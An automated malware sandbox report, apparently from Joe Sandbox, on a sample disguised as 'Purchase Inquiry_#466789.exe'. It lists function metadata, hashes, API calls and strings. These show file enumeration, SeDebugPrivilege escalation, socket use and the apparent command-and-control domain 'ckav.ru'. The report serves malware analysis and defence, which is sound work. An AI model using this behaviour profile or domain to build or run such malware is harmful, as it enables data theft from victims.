Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: LibraryLoad
String ID: NwiE
API String ID: 1029625771-3115903798
Opcode ID: 721999da98f9efd0ff24b380ebc5ba3c3e8a16cd97ce17e46f3c0611cc625bc4
Instruction ID: 7a3ef411b32ca31c6cdc3ef04a19d7b3d2a3ae3ab71698ee02d23deed6c85efc
Opcode Fuzzy Hash: 721999da98f9efd0ff24b380ebc5ba3c3e8a16cd97ce17e46f3c0611cc625bc4
Instruction Fuzzy Hash: 2811F9B6D04349DFDB14CF9AD544ADEFBF8EB48310F10842AE515A7210C375A545CFA5

Function 0116B159 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0116AFB9,00000800,00000000,00000000), ref: 0116B1CA

Strings

NwiE, xrefs: 0116B17F

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: LibraryLoad
String ID: NwiE
API String ID: 1029625771-3115903798
Opcode ID: 237a3f504522591e55964a245a58e9af93dcf44599a2ff80d63a47f7c6b85b32
Instruction ID: f8183a85be5d30ee239748dfe0f8c5b342fa83393752e1c9a301012af39a43d8
Opcode Fuzzy Hash: 237a3f504522591e55964a245a58e9af93dcf44599a2ff80d63a47f7c6b85b32
Instruction Fuzzy Hash: 291126B6900249DFDB14CFAAD844ADEFFF4EF88320F10842AD919A7210C379A545CFA5

Function 0116AED8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0116AF3E

Strings

NwiE, xrefs: 0116AEF7

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: HandleModule
String ID: NwiE
API String ID: 4139908857-3115903798
Opcode ID: 9f50cb3ad898bbdbb5bb7f04b28f71cfe559662080dd3a8b5a61a62d4b12b2d1
Instruction ID: 45484430ae1402c5f301834c02fd531f2adf7261914caaa66a6b5c8ea35c1171
Opcode Fuzzy Hash: 9f50cb3ad898bbdbb5bb7f04b28f71cfe559662080dd3a8b5a61a62d4b12b2d1
Instruction Fuzzy Hash: 5A1110B6C002498FDB24CF9AD444ADEFBF8EF88324F10846AD558B7250C379A545CFA2

Function 05904100 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 059083D5

Strings

NwiE, xrefs: 05908392

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: MessagePost
String ID: NwiE
API String ID: 410705778-3115903798
Opcode ID: 244026b0c3dd35a40f29a1b12f46f9364bcfad1fd867424727e5fcaf2bddeeba
Instruction ID: 27a20574a11f0843e520ff6b0813bcac147d606b3e387d76cff3c508eaedfd94
Opcode Fuzzy Hash: 244026b0c3dd35a40f29a1b12f46f9364bcfad1fd867424727e5fcaf2bddeeba
Instruction Fuzzy Hash: D811F5B5904349DFCB20DF99C444BDEFBF8EB48324F108819E554A7250C375A944CFA5

Function 05908370 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 059083D5

Strings

NwiE, xrefs: 05908392

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: MessagePost
String ID: NwiE
API String ID: 410705778-3115903798
Opcode ID: aee8c1f8aa4dda2d1b4053ae2c5036a9ff763d6b96bfdfb1facd47563de9eef1
Instruction ID: 229e746cc4eae3366fd4b359f53d869259eaf35d1282152c2ef3ea7e621f9589
Opcode Fuzzy Hash: aee8c1f8aa4dda2d1b4053ae2c5036a9ff763d6b96bfdfb1facd47563de9eef1
Instruction Fuzzy Hash: 6911E0B5900249CFCB10CF99D589BDEFBF8EB48324F10881AD558A7650C374A584CFA0

Function 00EAD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673411389.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b7a23868ed9c591f942098a985b1f412bf18564dda24968f2eb51f72d16ab09
Instruction ID: 145e85cf5498d59beada81f2d235691d9ff64337e66f55962b394b3cecd90237
Opcode Fuzzy Hash: 2b7a23868ed9c591f942098a985b1f412bf18564dda24968f2eb51f72d16ab09
Instruction Fuzzy Hash: 82213371908200DFCB01DF14D9C0B2ABFA5FB9C318F20C569E80A1F656C336E856CAA1

Function 00EAD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673411389.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892bbd30bc6ecfc21fb0406200538ccae9f5a447d54c0461861b58ca82ca5d1b
Instruction ID: 147e9adf33d01a9aaece2141089f53b425481c9ab4f425fedd02db590f39822f
Opcode Fuzzy Hash: 892bbd30bc6ecfc21fb0406200538ccae9f5a447d54c0461861b58ca82ca5d1b
Instruction Fuzzy Hash: 45213671108204DFDB00DF04C9C0B1ABF65FB9C324F20C169D80A5F656C336F856C6A1

Function 00EBD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673448199.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ebd000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0ddea6f4141cf8f14ebd7d4d82199d9aa5b7866ddcaf642442919db2ca04a66
Instruction ID: 624c97ea8905650674b5a68d6290c8e1a430d1aa06d561822802413e93c4ee0e
Opcode Fuzzy Hash: d0ddea6f4141cf8f14ebd7d4d82199d9aa5b7866ddcaf642442919db2ca04a66
Instruction Fuzzy Hash: 6D210475608200DFCB14EF14D9C4B67BFA6FB88318F24C56DD84A5B296D33AD847CA61

Function 00EBD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673448199.0000000000EBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ebd000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14acfc0da0d8d3aa18ad883a48d7669a389db2a4b5da51fe537475ac27c6d9b4
Instruction ID: 4f1cb432e4cf66e8658b757a8bd1b0f1aa87acc53dfe0690c4172bb2b4ff3e85
Opcode Fuzzy Hash: 14acfc0da0d8d3aa18ad883a48d7669a389db2a4b5da51fe537475ac27c6d9b4
Instruction Fuzzy Hash: 5521837550D3808FCB02DF24D994756BF71EB46314F28C5DAD8498F2A7C33A980ACB62

Function 00EAD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673411389.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 0c472fd4683b1baa01656824ec21cec94073bd40d2e19a09d5aca97a2bc3d5d3
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: FF11D676904240CFCB15CF14D9C4B16BF71FB98318F24C5A9D8454F656C336E456CB91

Function 00EAD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673411389.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ead000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: c153858c3fdcf4bd11069e470debd0401b4b94b8770fa7ce82a40f5f225332ad
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 2D110376404240CFDB12CF00D9C4B16BF71FB98328F24C2A9D80A0F656C33AE85ACBA1

Non-executed Functions

Function 0590A0A0 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a67d279fc6f3c2235d17a6a261d36481f145fdb48889cb3a51098e826f2f63
Instruction ID: 84b1126bf1d4cde4fdc8de0c465883d065f8e0d74009078948b7a852cf6b9be1
Opcode Fuzzy Hash: 87a67d279fc6f3c2235d17a6a261d36481f145fdb48889cb3a51098e826f2f63
Instruction Fuzzy Hash: E9D1AA707057018FDB29DB79C450BAEB7FAAFC9204F144869D146DB6E1DB36E802CB91

Function 05902F98 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da30be257c63fe6f7c204bbe6db4c866f9a12de72e1598e7cd899cdda33fb1e7
Instruction ID: b3cfe1996bd64f9d09bc9a2db79a586d14cf8abc27cd092462f0aa110d708b65
Opcode Fuzzy Hash: da30be257c63fe6f7c204bbe6db4c866f9a12de72e1598e7cd899cdda33fb1e7
Instruction Fuzzy Hash: F2E11974E041198FDB14DFA9C5809AEFBB2FF89305F249569E414AB356DB30AD41CF60

Function 05904EB0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a66f42438d5fdfef4428bc18eeac5e781fcd544189c7f36d3878d75c287b0ea
Instruction ID: f552b354836ef51617b0de108edc19e79766c27b977efd1620dcfcb5533abbf1
Opcode Fuzzy Hash: 6a66f42438d5fdfef4428bc18eeac5e781fcd544189c7f36d3878d75c287b0ea
Instruction Fuzzy Hash: A8E11874E0421A8FDB14DFA9C5809AEFBB2FF89305F249569E414AB356D730AD41CFA0

Function 05903808 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f276d1136ce1bb0148d17eecfaeb88403da647d4fab32f016bdbc2b910b8e3
Instruction ID: 6dfad3230a42cb766ea8fc0572348e610bebe236b24f53cca8a09f1db0781a33
Opcode Fuzzy Hash: 70f276d1136ce1bb0148d17eecfaeb88403da647d4fab32f016bdbc2b910b8e3
Instruction Fuzzy Hash: 6FE11874E042198FDB14DFA9C5809AEFBB2FF89305F249569E414AB356D730AD81CFA0

Function 059033D0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd129a64f9635f2ab4ec1faefdb936b6ab23a368cf5f5299fa6b5da27ee8f77
Instruction ID: 7927dbdee920f5478eeaaa6c28c7889027470b650f1dd14db0f3a90787f3dbf1
Opcode Fuzzy Hash: 2cd129a64f9635f2ab4ec1faefdb936b6ab23a368cf5f5299fa6b5da27ee8f77
Instruction Fuzzy Hash: 6AE11774E002198FDB14DFA9C5809AEFBB2FF89305F249569E414AB356D730AD81CF60

Function 059052E8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82632e695eb688def39701d6632bf05cd37cdbb0a9b452b9abdfde0387a10f54
Instruction ID: a98da6a48fc7284d791e7364c8f1ba76290cb8195c66e0058501b6d214d010ce
Opcode Fuzzy Hash: 82632e695eb688def39701d6632bf05cd37cdbb0a9b452b9abdfde0387a10f54
Instruction Fuzzy Hash: E6E10874E042198FDB14DFA9C5809AEFBB2FF89305F249569E414AB356D730AD81CF60

Function 0116D4FC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8471a5fc67205a475f699ce45a4e418ebad691e3d3cae278eb413e023ca991e
Instruction ID: 84b31db5d8d8a23dc11e937632a6309f80cb09b11a561d9f9a665247d1c5039c
Opcode Fuzzy Hash: f8471a5fc67205a475f699ce45a4e418ebad691e3d3cae278eb413e023ca991e
Instruction Fuzzy Hash: A6A1A432E00206CFCF19DFB8D8545DEBBB6FF85304B15856AE901AB265DB32D966CB40

Function 05902F6B Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5954d9fec8c0f09e4e563afc5d12778a89c7f85db69d8afe1708473e94ce5df0
Instruction ID: 206130eb005acce5b35d222952a47216c173daed1f6de4c7872b839e8560a709
Opcode Fuzzy Hash: 5954d9fec8c0f09e4e563afc5d12778a89c7f85db69d8afe1708473e94ce5df0
Instruction Fuzzy Hash: E9514D75E012198FDB14CFA9D9805AEFBF2FF89304F249569D418A7356D7309941CFA0

Function 059033C0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e99767bad2a6f277002599ab97fd45396125f790cd69d54dd4d19265c8f278
Instruction ID: dd6c0cff4b948beace6f3072d99b1997a4faae3a581794bd2ce6c1b273f1a953
Opcode Fuzzy Hash: 22e99767bad2a6f277002599ab97fd45396125f790cd69d54dd4d19265c8f278
Instruction Fuzzy Hash: 54512874E002198FDB14CFA9C5805AEFBF2FF89301F24956AD418AB356D731A942CFA0

Analysis Process: Purchase Inquiry_#466789.exePID: 7244, Parent PID: 1880COMMON

Execution Graph

Execution Coverage:	31.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	1846
Total number of Limit Nodes:	93

Executed Functions

Function 00403D74 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Program Files, xrefs: 00403E01
Windows, xrefs: 00403DEA
%s\*, xrefs: 00403D99
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 1e3e6a10e2b9ec909b5a5a789c8a5300318a12692afde49798013ba2296699ae
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 1e3e6a10e2b9ec909b5a5a789c8a5300318a12692afde49798013ba2296699ae
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Function 0040650A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Function 00402B7C Relevance: 3.0, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Function 00404ED4 Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Function 004061C3 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: a5e5aa255662804c4e67c84550f50b624ac64f77e5461781f5e6cba767b6fa0d
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: a5e5aa255662804c4e67c84550f50b624ac64f77e5461781f5e6cba767b6fa0d
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Function 00404E17 Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Function 004040BB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Function 00413866 Relevance: 4.6, APIs: 3, Instructions: 147synchronizationCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Function 004042CF Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Function 00412D31 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

